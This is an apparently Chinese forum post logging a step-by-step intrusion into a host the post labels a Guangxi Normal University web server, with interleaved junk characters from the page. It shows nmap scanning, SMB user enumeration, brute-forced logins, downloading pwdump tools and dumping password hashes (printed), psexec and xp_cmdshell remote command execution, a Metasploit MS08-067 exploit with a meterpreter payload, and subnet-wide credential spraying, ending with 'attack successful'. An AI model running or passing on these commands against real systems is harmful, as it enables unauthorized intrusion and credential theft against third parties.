广西师范网站http://202.103.242.241/
+ v6 t( L- D! v
. K5 P+ O/ A# M1 Iroot@bt:~# nmap -sS -sV 202.103.242.241
/ |" q8 i! h/ ^) Z7 u" k6 n2 C0 l& _) ?
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 21:54 CST; B2 G7 R( v/ x b' W
- W6 j. ?- I# o7 P) ~Nmap scan report for bogon (202.103.242.241)
5 m/ {6 Z0 H$ e# } ]2 D' I+ G$ l: U" A! l. g7 [$ l9 O4 Z
Host is up (0.00048s latency).
! c* m) v; X2 S7 R0 J4 q7 `! [1 Z
' f4 l/ U3 N1 {! W8 Y6 H, i0 s8 bNot shown: 993 closed ports; K; ?& Z# b- I9 q8 ]* K
% @" O) h' B3 v9 pPORT STATE SERVICE VERSION% }$ {2 [: D( y( s1 G) ]
" T( F* V' y; d* D# w6 }/ w/ t2 [
135/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)! [# H) N1 A- F3 f; w8 P7 w
" |( j5 e- u0 z7 T139/tcp open netbios-ssn
S- ]1 @' z% O7 s7 P. `: i, Y/ k" K) ]' z: E5 \
445/tcp open microsoft-ds Microsoft Windows 2000 microsoft-ds
; d$ w5 V3 |5 j+ i2 X0 I8 v- G# P& j8 u3 b& v3 ]' _2 d% O
1025/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)% @8 c& C3 W5 }9 S0 `: u" V
- H/ ], z7 A" Y1026/tcp open msrpc Microsoft Windows RPC
; Q% q$ Q: j: t
0 |: J& e/ C1 n+ F* w3372/tcp open msdtc?
, g2 l$ B6 q; ?9 [
4 {) m, J" F. |4 S& C R" C+ l3389/tcp open ms-term-serv?1 X1 g" ~4 S9 p# g; P: ]
/ ?0 ~% T7 o$ S( w; z2 X/ a$ \1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
2 ~. d, j. c: G3 c5 ISF-Port3372-TCP:V=5.59BETA1%I=7%D=2/28%Time=4F4CDC90%P=i686-pc-linux-gnu%r* O2 i0 X n, V! I* ]" b
# a8 c. T7 z! U6 h: }) T& z1 ASF GetRequest,6,”hO\n\x000Z”)%r(RTSPRequest,6,”hO\n\x000Z”)%r(HTTPOptions
% q6 v0 [3 K, x. @# L8 C, e. f1 ~! x# @9 I
SF:,6,”hO\n\x000Z”)%r(Help,6,”hO\n\x000Z”)%r(SSLSessionReq,6,”hO\n\x000Z”)4 B' D9 j/ w3 X* ~% X( W. U
/ V8 n5 c9 i/ K5 [! B% P4 W
SF:%r(FourOhFourRequest,6,”hO\n\x000Z”)%r(LPDString,6,”hO\n\x000Z”)%r(SIPO1 m M/ t" Q" w5 w6 B/ k
; L. s/ W' e, i/ k* \
SF:ptions,6,”hO\n\x000Z”);8 J: l a$ ]* d4 ]2 J, q8 |
/ t8 W" |# t0 A# ?0 G5 ]( E6 S8 IMAC Address: 08:00:27 7:2E:79 (Cadmus Computer Systems)1 g8 A% B& Z) V' k
- W" {& p$ I, x4 n4 T
Service Info: OS: Windows& {( I, t) c1 ~
; H8 G# K+ G: h0 s# C/ }Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .* ?' w- W K' y) ~ ~
$ M) I% }( I' R% b7 d
Nmap done: 1 IP address (1 host up) scanned in 79.12 seconds" [8 c$ I& z# y. k
9 e% Q# S& b6 g
root@bt:/usr/local/share/nmap/scripts# ls -la | grep smb //列出扫描脚本
4 R# c5 a& ]# W
, ` k0 [0 E/ x6 U+ d-rw-r–r– 1 root root 44055 2011-07-09 07:36 smb-brute.nse
0 W1 t. J( v3 E1 e5 M, d
% ]1 v* r; x. s6 @, M/ C-rw-r–r– 1 root root 27691 2011-07-09 07:36 smb-check-vulns.nse
1 k) n, c0 v& G* U+ i0 Z! t+ S5 @4 r2 G. K- v
-rw-r–r– 1 root root 4806 2011-07-09 07:36 smb-enum-domains.nse
8 n9 u+ D% B1 b4 G) A3 W
8 x+ s7 i' |% n) ?-rw-r–r– 1 root root 3475 2011-07-09 07:36 smb-enum-groups.nse
4 E- k% P9 E1 g) q' S/ V5 l6 N; m9 ~6 h, E
-rw-r–r– 1 root root 7958 2011-07-09 07:36 smb-enum-processes.nse, m; M: c( J5 i: h" o4 ]
1 Z6 s; \) H7 Y5 |# c
-rw-r–r– 1 root root 12221 2011-07-09 07:36 smb-enum-sessions.nse
. F. j8 I# J! T- y j9 Y2 m5 @8 U7 C& F- y
-rw-r–r– 1 root root 6014 2011-07-09 07:36 smb-enum-shares.nse
, A' z0 e, [$ ]) E7 S" w: Q8 u% v. l ]. ?, d7 J, O
-rw-r–r– 1 root root 12216 2011-07-09 07:36 smb-enum-users.nse+ f/ P G8 u' o9 h
I+ W4 U4 a* m' Y
-rw-r–r– 1 root root 1658 2011-07-09 07:36 smb-flood.nse* ] l' p& N4 C) h6 |5 j5 |. Q
u+ K; A( W6 Z4 X
-rw-r–r– 1 root root 2906 2011-07-09 07:36 smb-os-discovery.nse
! I! A/ h3 C5 A; u9 V1 u9 w% y' f
-rw-r–r– 1 root root 61005 2011-07-09 07:36 smb-psexec.nse
" M$ o o3 g: }" i; L! k8 o: f/ S9 R7 [" `9 A) {$ H% _
-rw-r–r– 1 root root 4362 2011-07-09 07:36 smb-security-mode.nse
: N& n! {- j5 {7 ], U0 Q+ J7 {; U/ R! F6 \8 n
-rw-r–r– 1 root root 2311 2011-07-09 07:36 smb-server-stats.nse" J# C% \. R( \8 ]
' ]1 U: T8 D: `( j$ w
-rw-r–r– 1 root root 13719 2011-07-09 07:36 smb-system-info.nse' Y1 ?5 F3 ~" U; d5 x X# q
& K) D! N5 _) j+ t0 a- o$ X1 [-rw-r–r– 1 root root 1429 2011-07-09 07:36 smbv2-enabled.nse! T f' x' L& V$ Y8 T9 L u
: O, U5 \3 |; Q/ troot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-users.nse 202.103.242.241
! n6 t( I6 D# f8 r& E* N3 P$ z3 q
2 C: d# ]4 s/ [4 |/ Q+ J: ]" I9 m//此乃使用脚本扫描远程机器所存在的账户名
H% g+ o3 g! N) ]
' L* }5 h' M" I! VStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:12 CST
% Y* ?9 A% ^6 [& k- i' u9 d& v+ S$ J
Nmap scan report for bogon (202.103.242.241)
0 @ \8 v( `$ J: x7 M8 s" r q- W; }
Host is up (0.00038s latency).
4 d! q, `( A0 F2 n( L f( g8 n4 R2 ~' Q; J2 e9 b, x
Not shown: 993 closed ports
6 P% V2 D& ?! Q$ K' d5 X' Q
" g7 c. `1 E/ l& @' W. N8 p* XPORT STATE SERVICE1 {; `* i7 b F; d
; l# _ W$ B; ^135/tcp open msrpc& T5 |# C' Y/ D/ q
- E% x# U- f* u139/tcp open netbios-ssn
; x2 c9 \2 \$ x& \% V n: v: m$ }
- B7 E; ^- _7 w445/tcp open microsoft-ds' F$ c7 c% J+ `
: c2 R# a- \0 k8 l1025/tcp open NFS-or-IIS6 D) o9 Y/ B6 t; }! y2 t
2 J+ y% U3 o. Y1026/tcp open LSA-or-nterm
8 z& y9 g& o1 p; n3 \2 b: A0 Q, \- j, K- _5 ?9 b
3372/tcp open msdtc5 k) I. A" S& Q, M" t
! D- ?6 w( m" `( ?; D3389/tcp open ms-term-serv1 R) K: c, e& N, ^$ S* J' \8 R3 a
5 ]5 y7 r% \9 u5 `4 p. [' b5 RMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
6 N+ o! z& z& i& D. H6 H
% P, D w( t* p: HHost script results:
6 _* L$ W; t' [3 C8 ~9 i' S! S2 I% P
| smb-enum-users:
9 T$ p1 e. c+ g4 J0 k( p6 H3 T# g! O# T% R1 Z
|_ Domain: PG-F289F9A8EF3E; Users:Administrator, Guest, test, TsInternetUser //扫描结果
8 m2 x. \ @2 D$ ~0 R* T$ m4 g! x% n J
Nmap done: 1 IP address (1 host up) scanned in 1.09 seconds: i$ U, J; r ]8 O' |0 ]) e
' O; m5 u L: C$ ?$ w3 L- I' k( V1 groot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-shares.nse 202.103.242.241
( }! e. N# n" Z! J! r/ a. J( p# d: |/ n6 v1 ]! P/ C& S8 D" C6 f) }
//查看共享( H e! @ j+ g! _) Q+ g1 b
" C9 }* e# b6 ^+ r
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:15 CST
1 M+ k' O @# l* [0 Z3 i e& p0 {- E' w, `* J
Nmap scan report for bogon (202.103.242.241), [8 f5 F$ e5 r0 k5 _
: Z$ S. ~& q' D" T! MHost is up (0.00035s latency).
( }, S* z6 Y' @
1 d+ q2 q7 \' f+ L ?: M ^Not shown: 993 closed ports: D2 m) z3 j G( F3 b$ j
2 B3 G R( {/ r" o$ m0 wPORT STATE SERVICE2 A* D4 Z% ], ?' ^* @
9 W$ B7 `* f/ m+ |9 r8 {2 }135/tcp open msrpc
+ R! ]8 h X4 W. J: L6 t& D
6 y. o/ x- }1 e139/tcp open netbios-ssn$ n. s; V" ~3 T7 C4 Q
# ^$ Y! I. v. S
445/tcp open microsoft-ds# n: e @- a: r& \
; ~5 V- \- V; U9 _& C2 S1025/tcp open NFS-or-IIS
& ~ |) K- ]3 o/ @
( _; {3 D* p+ Y7 [9 m- Y1026/tcp open LSA-or-nterm
7 O) I8 C2 O* s5 n1 Q8 z' e! s/ z+ ?+ d9 {' b# r
3372/tcp open msdtc
1 d2 q# M# Z& Z) o/ N- i( b& F7 k2 O+ C" D
3389/tcp open ms-term-serv( `+ u# S2 }9 W: {
; g6 o& v; I. ]' b6 c8 M1 qMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
x- G& ~ ^4 X: P/ |
* `0 N. H7 K, D k+ LHost script results:
6 l/ F2 @6 \6 u9 v: ?- K* V* P* y* z5 \' d) t4 _
| smb-enum-shares:' X! b7 I" k% _& {. @
# Z' m' S2 F! S% ?! B/ {| ADMIN$
- c& s: V' E; q# }0 E: c- n3 @! w! x6 L
| Anonymous access: <none>1 A% q7 ?5 f4 P' H* [
8 E" x% P/ \0 V" A. H
| C$
5 a7 C) H9 k5 s) [2 x' b, l1 P0 i$ h; r! X
| Anonymous access: <none>
; t$ q" |9 i- n0 v- h1 ^
5 \' T& _- s5 O$ ?9 }" F| IPC$
" o) R; G% W3 t* @- t8 ]8 C" c$ U; o I
|_ Anonymous access: READ |; @( F$ y; B1 R+ u
1 Y/ L2 c. `" @Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds# ]0 M& R2 C' \) x" G0 k
* g0 E: P Q2 ~root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse 202.103.242.241 9 v) \ T( s3 G) K0 L
E) r- ~ L" f//获取用户密码: ~7 k! d$ }7 y6 m- P
! l2 R [7 R) x# g& ]' v
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:17 CST
6 H# i/ [4 k0 [2 ^ g) \5 g1 U4 Q
: B! Y) o; y) w" RNmap scan report for bogon (202.103.242.2418)
! k7 D& ~2 p3 ^8 u7 T4 v' V3 s3 E2 Q; A8 v9 G; j
Host is up (0.00041s latency).7 {. e# B4 }; O, B' ?+ L( ?* J2 R
4 N0 I: u q/ s2 B) e7 y( _! O! ~, cNot shown: 993 closed ports
' I9 n3 d9 S" k+ A* X/ n
2 X5 m7 H" [9 @6 O9 DPORT STATE SERVICE) q! L8 S& S6 D8 v' s: q+ H
9 Z/ H& L0 f$ u i135/tcp open msrpc2 c0 Q8 |+ E* L/ |9 U; Q
3 j& {+ t4 v/ s' \139/tcp open netbios-ssn7 y* E* M. B. ?. I
$ _. h5 b! p* Z' j% @" w7 X6 k- w! b8 ~445/tcp open microsoft-ds* C9 L @. }5 ^. a* M( f! J. B3 R$ v
" Q! `) A: y0 ~
1025/tcp open NFS-or-IIS/ M- S0 q7 N7 v
4 p; w P6 I1 ]+ O/ I- E; x; i
1026/tcp open LSA-or-nterm* k: q" p1 X' c$ _ X# v! Z- x
8 C: A0 i! t- ~0 i+ k
3372/tcp open msdtc
! y( r% N5 c, D* j8 L( S( z2 V) g" B; }+ p6 k+ ?
3389/tcp open ms-term-serv
9 j. ` J' }5 r3 w: J' e9 n; y$ r- E. R7 i. c+ f) z* b
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)4 w2 o; E# q6 h- H) R& M K7 A
! E+ v$ g$ m+ _# H2 N2 N
Host script results:# P6 f6 \3 b2 B
. l' h8 l: o8 i6 t* Y* ]. A- s
| smb-brute:
2 n$ L. d3 t# S" j: ?- U/ r9 t2 B4 v3 M F$ H
administrator:<blank> => Login was successful$ P1 x! D2 M0 t5 o- L$ R( d
5 Y0 N* P$ O& r8 r ~|_ test:123456 => Login was successful
" _- ?/ P! U0 B- [9 x& G% V( A
, z& i' A! O/ DNmap done: 1 IP address (1 host up) scanned in 28.22 seconds% g1 h3 Z* z, h- N; L, |
1 z8 [( ` Z/ k1 T3 hroot@bt:~# wget http://swamp.foofus.net/fizzgig/ ... -exe-only.tar.bz2//抓hash* g& R. z& L9 M; S
( g" h/ A/ G' J5 O- g, u* croot@bt:~# tar -jxvf pwdump6-1.7.2-exe-only.tar.bz2 -C /usr/local/share/nmap/nselib/data
- ^" y5 V m6 S0 ^* w* i# X2 S+ W+ ~
% \& e/ }1 a) r6 a) Eroot@bt:/usr/local/share/nmap/scripts# wget https://svn.nmap.org/nmap-exp/dev/nmap/scripts/smb-pwdump.nse; T9 |4 O/ u6 N5 \/ a4 e9 ~
7 `& ^( y; R/ E$ l& L$ i; jroot@bt:~# nmap –script=smb-pwdump.nse –script-args=smbuser=test,smbpass=123456 202.103.242.241 -p 135,445,139
% U1 {6 s, I' i- q% f6 E% i2 O( l G" n- o
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:25 CST \5 X. F8 v* v- Z8 Z7 F, v
/ Z* f3 P3 I' k' ?Nmap scan report for bogon (202.103.242.241)/ J% g& d/ n- m, R/ P6 d
- \$ H; m; s& L1 a8 \
Host is up (0.0012s latency).
0 \% D$ m: {& A) I I1 @- D/ [8 j/ M
PORT STATE SERVICE# I9 B- @ D. V E7 `9 l
. D; R$ O+ e& g# K
135/tcp open msrpc* N- d* E8 k1 c3 Z) y M
0 U4 ?2 \# [( k1 `$ o j, l139/tcp open netbios-ssn
7 a* n/ j3 H: j
/ v! Z2 P8 t$ z" X* [( z2 k3 D0 L) z445/tcp open microsoft-ds
* p5 [+ l8 Y5 f1 `
( C4 y2 w! A* @ D' K& vMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
, e, ]* w( b) O1 |' i8 j! v! C7 F, ]4 e
Host script results:
, y+ x( q* m* P, { I4 s3 W8 @5 ]' C; _' [0 G$ U; e7 h
| smb-pwdump:2 a: W; l6 V; @
& J: X8 l* y; h7 B+ F| Administrator:500 => NO PASSWORD*********************:NO PASSWORD*********************: k1 ]. Z) b% m) U9 X8 G) |
6 i- X, J) B) b1 | @* ?| Guest:501 => NO PASSWORD*********************:NO PASSWORD*********************9 W7 w# N! J+ {% s" \3 q2 J# v! r
2 U4 E0 L% S% t. S) p
| test:1002 => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4
; b( X; |' y. s# Y* W# l# M
# O$ k3 ~5 h7 u+ O4 c% I6 V% ||_TsInternetUser:1000 => A63D5FC7F284A6CC341A5A0240EF721E:262A84B3E8D4B1CC32131838448C98D2
2 e0 t6 Y. w% [4 Z4 f& s2 `: D
Nmap done: 1 IP address (1 host up) scanned in 1.85 seconds
$ m+ Q" T8 A& I$ E& y
2 \9 J( ?, j! B/ V7 @C:\Documents and Settings\Administrator\桌面>psexec.exe \\202.103.242.241 -u test //获取一个cmdshell3 T& y" C9 K' F2 w0 H9 s
7 Y. i" ~( n1 u6 d% `( _7 Z/ m
-p 123456 -e cmd.exe4 ?9 k" ~3 }4 [1 c8 E! V7 C
% e$ }! g- {8 j! n4 X
PsExec v1.55 – Execute processes remotely
) z) J0 s, Z$ C& F+ b& B9 {& c+ y4 c+ p/ h/ I$ D# c- j
Copyright (C) 2001-2004 Mark Russinovich
0 |; j- t1 u/ a7 N! L' O& x) t& x, c0 P0 v$ i
Sysinternals – www.sysinternals.com
# V, t6 t. t8 G
) A4 s: d( T% v: f% RMicrosoft Windows 2000 [Version 5.00.2195]8 o' X) C& z0 S6 F+ k
4 E1 F+ w9 b1 x6 g! }2 P4 z9 \
(C) 版权所有 1985-2000 Microsoft Corp.& [5 ~; E C5 y
4 O$ b& Y! F5 c8 tC:\WINNT\system32>ipconfig
I" B4 S% D) w! U
9 w" K# j# S& S7 }5 o' ~/ v; e. _Windows 2000 IP Configuration
7 F% v' i1 a* n v! j9 T
3 t. U7 P3 S: B0 |# L7 oEthernet adapter 本地连接:( Q( y- @. h1 N, T& d! G
0 }: E8 ?7 J( M- P- m' h& z
Connection-specific DNS Suffix . :+ _. A F$ @0 X( C3 h: k; n0 J
- k+ w: o, l2 d n; @/ _+ Y
IP Address. . . . . . . . . . . . : 202.103.242.2412 t" o N. G) Y: S! G& G
) c# R: {# y" z3 U. \; @ m
Subnet Mask . . . . . . . . . . . : 255.255.255.04 t- `- @4 m; ~; _
# W j& L& h7 X; P
Default Gateway . . . . . . . . . : 202.103.1.1
, ~$ B- M+ n. f- q- @' b4 a( M
7 B6 ?) C+ f+ l% @! E' }6 u+ C. y _C:\Documents and Settings\Administrator\桌面\osql>osql.exe -S 202.103.242.241 -U sa -P “123456″ -Q “exec master..xp_cmdshell ＇net user＇ “ //远程登录sa执行命令! i. ^' q) d ]
: \$ \2 V0 [# \" xroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-check-vulns.nse 202.103.242.241 //检测目标机器漏洞" Y* ~7 \5 ~7 X5 D5 j
& N h$ e5 q. @5 S/ u
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:41 CST
" C( {5 V! f3 E! p- |# M; q+ g- U5 D- m% s2 Y
Nmap scan report for bogon (202.103.242.241)
1 y- N$ @' G/ Y5 \2 L, X) G, j1 }; h* \- A
Host is up (0.00046s latency).- P( `, C" d( r6 E: t
7 t7 s; C2 e! b' j) Q# A+ P1 o
Not shown: 993 closed ports* z& P7 J1 F, T! ~3 W2 F( j! U) N1 h
0 w0 Z& Q) H& E/ z" wPORT STATE SERVICE/ j j/ g9 P* p: u( @* j: {: i
- F& O$ B, r: } ~* O! h
135/tcp open msrpc
; h4 p/ u {. o6 `, f; T
3 u$ O; l4 n* l) A139/tcp open netbios-ssn# a9 j/ l B5 c- C
- k, ^- @! E4 O6 G( ]2 r( [+ }- R, q445/tcp open microsoft-ds+ H1 T! n1 K! P! Q, B1 d
( L3 {4 q7 b, t6 w' A
1025/tcp open NFS-or-IIS9 j a$ d. m5 H# ?$ `
3 P& R* p j, g; q1026/tcp open LSA-or-nterm; v8 M5 r8 S( J5 s. G$ `1 q5 V6 [0 ]
8 r7 O( e! J, n' l6 K# \3372/tcp open msdtc# ?; ~8 R8 N4 @% d7 d6 ]. d
. q, I+ I1 o" d$ k; J7 x! n$ C1 P: Q3389/tcp open ms-term-serv
0 I. ]$ Y: ^! m6 e! W: V8 ?
6 E2 {8 Z1 Q4 a, v& K6 X, hMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
) s, Y: `1 z9 e) U& O/ f& h( \# R/ P. r i# ]9 ?) S
Host script results:: ^% ^6 I2 }( |, x* e7 A
/ ~* c: z5 |) P$ L, Z# \# H| smb-check-vulns:
* W, b. U+ _" h7 U* B: v7 d5 D9 M" K* T( E4 q' D
|_ MS08-067: VULNERABLE/ x: J- O5 x1 O# X! ~) z
5 A/ G/ {! J v; M+ B5 ONmap done: 1 IP address (1 host up) scanned in 1.43 seconds
4 n) P* l: W9 }* M) o& k' S p5 c9 u- Z
root@bt:~# msfconsole //在msf上利用ms08-067漏洞对目标机器进行溢出
2 O9 \ g( u8 J( y! Y; z0 F3 r
" \& W& o) v6 Z5 O6 M( k/ wmsf > search ms08
$ C& [$ K, O( @/ R8 M7 N% z# v+ s0 K' @: M' B( |- K7 `
msf > use exploit/windows/smb/ms08_067_netapi! i2 t1 z" f6 N- N" O3 C
0 g. B) \+ E; J/ g/ G5 y5 l3 cmsf exploit(ms08_067_netapi) > show options4 D# Q, E5 _6 ^9 B9 v# ]5 p0 f( }
% s& B" M/ F' B* C9 g: R) ]$ c
msf exploit(ms08_067_netapi) > set RHOST 202.103.242.241
4 Q1 I% j* O6 Q9 L
7 O0 w# Z' f" o: f( Rmsf exploit(ms08_067_netapi) > show payloads
7 z9 I* u. z& A) R7 D; O) `
- q& Q0 J3 }) r4 Amsf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
; u. u( B$ ]5 F$ N" C- d# x( O
( J+ I; `% Z9 j. o9 Dmsf exploit(ms08_067_netapi) > exploit
% B& B6 \9 \& g6 `
* u. M3 D9 x5 p8 n" w* p5 {2 rmeterpreter >
' V9 ]( D1 T' l2 F( ~% h: @( c8 p( i
Background session 2? [y/N] (ctrl+z)5 Y; e6 F- c6 l6 M9 k2 Z; g; o( J; {
8 _) S) `6 k. Z
msf exploit(ms08_067_netapi) > sessions -l6 n& |4 y8 }: ~8 u5 q( G" e
# k# H4 Y" t1 A
root@bt:/usr/local/share/nmap/scripts# vim usernames.txt
0 k+ d* m& V l# o( J* ]2 i# F, X. W. x& I$ c- ^7 Y6 ?& o+ I
test
1 k' J! ?) i8 Q2 r9 A
! @0 q! Z/ Y0 ^9 V0 qadministrator) S P9 m% A2 s T& u
- B1 h) Z4 z0 Q# v/ ?' Rroot@bt:/usr/local/share/nmap/scripts# vim password.txt
' R* r4 b6 B- U( y! [& O
4 @% w- G, ?- J44EFCE164AB921CAAAD3B435B51404EE
0 a3 j. Q3 k! u' f
/ e8 M: z" e, n7 l/ F. h. @/ z l+ Oroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse –script-args=userdb=usernames.txt,passdb=password.txt 192.168.1.1-254 , ^" g1 q! t. \- y3 d @" F
$ m( f( u- J5 {$ c //利用用户名跟获取的hash尝试对整段内网进行登录. d, l/ E1 m+ ?# d( B! { u- R! U
- I' D* r! m- |5 c0 O* ^Nmap scan report for 192.168.1.1054 F* o' d: F2 u7 H) @
0 n9 m1 }" l7 {3 \Host is up (0.00088s latency).1 T4 v! A C7 a [" n4 B8 c
; `8 L3 E# Z. r/ a9 v3 k
Not shown: 993 closed ports1 Y- A3 x) s: {, |
3 D* N7 d. ~; K" H' _! C( G7 MPORT STATE SERVICE9 m& ~8 ]0 K, c7 I6 n/ f- }
/ }# o0 x3 F9 N! s1 k2 ^
135/tcp open msrpc
/ A2 ~, J) a% y: _; C x* a
+ E2 X+ q$ z0 u, v139/tcp open netbios-ssn
% U7 d, h# P; w- X: r0 e" I0 Z, }; d
445/tcp open microsoft-ds
/ u$ m- r+ K( T) r" f ~6 d0 r! h/ N
1025/tcp open NFS-or-IIS
. k$ |. ?/ }) g M5 g
& D+ G3 H$ f! a2 U1026/tcp open LSA-or-nterm7 |, [7 y' Z0 u2 h. P6 G9 T
) Q- K, }) J/ G3 H. A& ]9 f$ n3372/tcp open msdtc
4 Q* p& n5 h+ ~( `2 {. x% L- i5 N v6 y5 d
3389/tcp open ms-term-serv
V) G/ ^8 o& f1 v+ g5 Q y1 q$ l, n9 P- }5 C- ?& W
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)8 ]. H2 p$ E, i6 p% C) I' m0 E, ^
% C# S( a! R# V( x( u
Host script results:) b _. k* k' M H) `6 x! \6 z
) Z- q4 e4 m/ a# a3 c( P
| smb-brute:
2 W" u& G) k5 y/ _- \$ E7 q4 F
+ J" @8 b* u! K* ?9 n; d- c|_ administrator:<blank> => Login was successful
0 P* G. E* n3 Q* g: J, M' j
6 I i3 ?, Y8 {; |5 \6 K4 s0 |攻击成功，一个简单的msf+nmap攻击~~·8 D n; B$ h% M
6 u& O. n) {# f
|
发表于 2012-12-4 12:46:42
收藏
支持
反对